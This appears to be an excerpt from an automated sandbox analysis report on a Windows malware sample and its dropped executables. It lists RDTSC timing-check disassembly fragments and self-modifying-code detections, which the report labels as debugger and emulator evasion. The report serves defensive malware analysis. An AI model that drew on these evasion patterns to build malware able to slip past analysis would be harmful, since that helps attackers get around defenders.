Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55100BF second address: 55100C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 55100C5 second address: 55100E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C15409h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 551013A second address: 551013E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 551013E second address: 5510144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510B58 second address: 5510B70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C02234h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510B70 second address: 5510B74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510B74 second address: 5510BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9F38C02238h 0x00000013 xor ax, 2208h 0x00000018 jmp 00007F9F38C0222Bh 0x0000001d popfd 0x0000001e jmp 00007F9F38C02238h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510BC4 second address: 5510C50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C153FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [769B459Ch], 05h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F9F38C15404h 0x00000017 sbb ecx, 061916C8h 0x0000001d jmp 00007F9F38C153FBh 0x00000022 popfd 0x00000023 push esi 0x00000024 pushfd 0x00000025 jmp 00007F9F38C153FFh 0x0000002a sub eax, 59D6550Eh 0x00000030 jmp 00007F9F38C15409h 0x00000035 popfd 0x00000036 pop eax 0x00000037 popad 0x00000038 je 00007F9FAA0531C0h 0x0000003e pushad 0x0000003f mov ch, 6Dh 0x00000041 popad 0x00000042 pop ebp 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F9F38C153FEh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510CB4 second address: 5510CBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510CBA second address: 5510CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510CBE second address: 5510CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510D74 second address: 5510D84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C153FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510D84 second address: 5510DE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C0222Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d pushad 0x0000000e mov edi, esi 0x00000010 mov dx, cx 0x00000013 popad 0x00000014 je 00007F9FAA035E0Dh 0x0000001a pushad 0x0000001b jmp 00007F9F38C02238h 0x00000020 popad 0x00000021 cmp dword ptr [ebp+08h], 00002000h 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007F9F38C02238h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5510DE2 second address: 5510DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520A1B second address: 5520A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520A28 second address: 5520AAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9F38C153FEh 0x00000009 xor cx, 54C8h 0x0000000e jmp 00007F9F38C153FBh 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b mov ecx, ebx 0x0000001d mov esi, edx 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F9F38C15404h 0x0000002a sbb cx, 5A58h 0x0000002f jmp 00007F9F38C153FBh 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007F9F38C15408h 0x0000003b and ax, E4B8h 0x00000040 jmp 00007F9F38C153FBh 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520AAC second address: 5520AB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520AB2 second address: 5520AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520AB6 second address: 5520B11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9F38C0222Dh 0x00000011 and ch, 00000056h 0x00000014 jmp 00007F9F38C02231h 0x00000019 popfd 0x0000001a mov ax, 50C7h 0x0000001e popad 0x0000001f xchg eax, esi 0x00000020 pushad 0x00000021 movzx ecx, bx 0x00000024 popad 0x00000025 push eax 0x00000026 jmp 00007F9F38C02231h 0x0000002b xchg eax, esi 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F9F38C0222Dh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520B11 second address: 5520BA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9F38C15407h 0x00000008 pop eax 0x00000009 movsx ebx, cx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov esi, dword ptr [ebp+0Ch] 0x00000012 pushad 0x00000013 mov cx, 1A4Dh 0x00000017 pushfd 0x00000018 jmp 00007F9F38C153FAh 0x0000001d sbb esi, 10AB5568h 0x00000023 jmp 00007F9F38C153FBh 0x00000028 popfd 0x00000029 popad 0x0000002a test esi, esi 0x0000002c pushad 0x0000002d mov edx, esi 0x0000002f push eax 0x00000030 pushfd 0x00000031 jmp 00007F9F38C15407h 0x00000036 add al, 0000005Eh 0x00000039 jmp 00007F9F38C15409h 0x0000003e popfd 0x0000003f pop eax 0x00000040 popad 0x00000041 je 00007F9FAA042C18h 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F9F38C153FAh 0x0000004e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520BA7 second address: 5520BEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 pushfd 0x00000006 jmp 00007F9F38C0222Dh 0x0000000b sub eax, 5F3FDA46h 0x00000011 jmp 00007F9F38C02231h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a cmp dword ptr [769B459Ch], 05h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F9F38C0222Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520CAC second address: 5520CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520CB2 second address: 5520CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520CB6 second address: 5520CF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C15403h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F9F38C15409h 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F9F38C153FDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520D4E second address: 5520D6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C02238h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520D6A second address: 5520D6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520D6E second address: 5520D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jmp 00007F9F38C02237h 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520D95 second address: 5520D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520D99 second address: 5520D9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 5520D9D second address: 5520DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A59B8 second address: 4A59BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A5CAE second address: 4A5CBF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9F38C153FCh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A5F81 second address: 4A5F8B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9F38C02226h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A5F8B second address: 4A5F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A5F91 second address: 4A5F97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A5F97 second address: 4A5F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A5F9B second address: 4A5FC4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9F38C0222Bh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9F38C02233h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A9552 second address: 4A9568 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9F38C153FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A9568 second address: 4A956F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A956F second address: 4A9575 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A9575 second address: 4A9579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A9579 second address: 4A95B1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9F38C153F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jc 00007F9F38C1540Ch 0x00000016 jmp 00007F9F38C15406h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f jns 00007F9F38C153FCh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A95B1 second address: 4A95B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A95B5 second address: 4A95DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C15406h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push edx 0x0000000e je 00007F9F38C153FCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A9668 second address: 4A96D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 ja 00007F9F38C0222Ch 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F9F38C02228h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 add dword ptr [ebp+122D232Fh], edx 0x0000002d push 00000000h 0x0000002f movzx edx, cx 0x00000032 call 00007F9F38C02229h 0x00000037 pushad 0x00000038 push esi 0x00000039 jnp 00007F9F38C02226h 0x0000003f pop esi 0x00000040 pushad 0x00000041 push esi 0x00000042 pop esi 0x00000043 jng 00007F9F38C02226h 0x00000049 popad 0x0000004a popad 0x0000004b push eax 0x0000004c push edx 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 pop edx 0x00000051 pop edx 0x00000052 mov eax, dword ptr [esp+04h] 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push edx 0x0000005b pop edx 0x0000005c rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A96D6 second address: 4A96DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A96DC second address: 4A96E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F9F38C02226h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A96E6 second address: 4A978E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9F38C153F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jnc 00007F9F38C15402h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 jmp 00007F9F38C15402h 0x0000001d pop eax 0x0000001e mov edx, dword ptr [ebp+122D2CB7h] 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F9F38C153F8h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 cld 0x00000041 mov ecx, dword ptr [ebp+122D29EFh] 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push ecx 0x0000004c call 00007F9F38C153F8h 0x00000051 pop ecx 0x00000052 mov dword ptr [esp+04h], ecx 0x00000056 add dword ptr [esp+04h], 0000001Ch 0x0000005e inc ecx 0x0000005f push ecx 0x00000060 ret 0x00000061 pop ecx 0x00000062 ret 0x00000063 and si, 6334h 0x00000068 push 00000003h 0x0000006a sbb di, A0C3h 0x0000006f push A3BC9210h 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 pushad 0x00000078 popad 0x00000079 jnp 00007F9F38C153F6h 0x0000007f popad 0x00000080 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A978E second address: 4A97C4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F9F38C02235h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 63BC9210h 0x00000012 mov dword ptr [ebp+122D296Bh], edi 0x00000018 lea ebx, dword ptr [ebp+1244F485h] 0x0000001e movzx edi, ax 0x00000021 push eax 0x00000022 pushad 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A97C4 second address: 4A97CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A98C7 second address: 4A98CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A99A2 second address: 4A99AF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9F38C153F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A99AF second address: 4A99FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9F38C02226h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F9F38C02236h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push esi 0x00000017 jl 00007F9F38C02228h 0x0000001d pushad 0x0000001e popad 0x0000001f pop esi 0x00000020 mov eax, dword ptr [eax] 0x00000022 jno 00007F9F38C0222Eh 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A99FA second address: 4A99FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A99FE second address: 4A9A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A9A04 second address: 4A9A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C15406h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A9A1E second address: 4A9A6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02234h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c mov si, CE5Ah 0x00000010 lea ebx, dword ptr [ebp+1244F48Eh] 0x00000016 mov cx, DF99h 0x0000001a xchg eax, ebx 0x0000001b jbe 00007F9F38C02233h 0x00000021 jmp 00007F9F38C0222Dh 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F9F38C0222Dh 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A9AD3 second address: 4A9AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A9AD7 second address: 4A9AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9F38C02230h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4A9BE7 second address: 4A9BEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4BB781 second address: 4BB785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4BB785 second address: 4BB78F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4BB78F second address: 4BB7A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jbe 00007F9F38C02226h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4BB7A2 second address: 4BB7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4C91EE second address: 4C921D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02232h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F9F38C0222Ch 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007F9F38C02226h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4C921D second address: 4C9231 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9F38C153F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jl 00007F9F38C153F6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	RDTSC instruction interceptor: First address: 4C9231 second address: 4C9235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Special instruction interceptor: First address: D07900 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Special instruction interceptor: First address: EB64DD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Special instruction interceptor: First address: D05316 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Special instruction interceptor: First address: EC4C69 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Special instruction interceptor: First address: F47D4F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Special instruction interceptor: First address: 4D1812 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Special instruction interceptor: First address: 4D6EB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Special instruction interceptor: First address: 561451 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Special instruction interceptor: First address: 46F92D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Special instruction interceptor: First address: 60FE6A instructions caused by: Self-modifying code
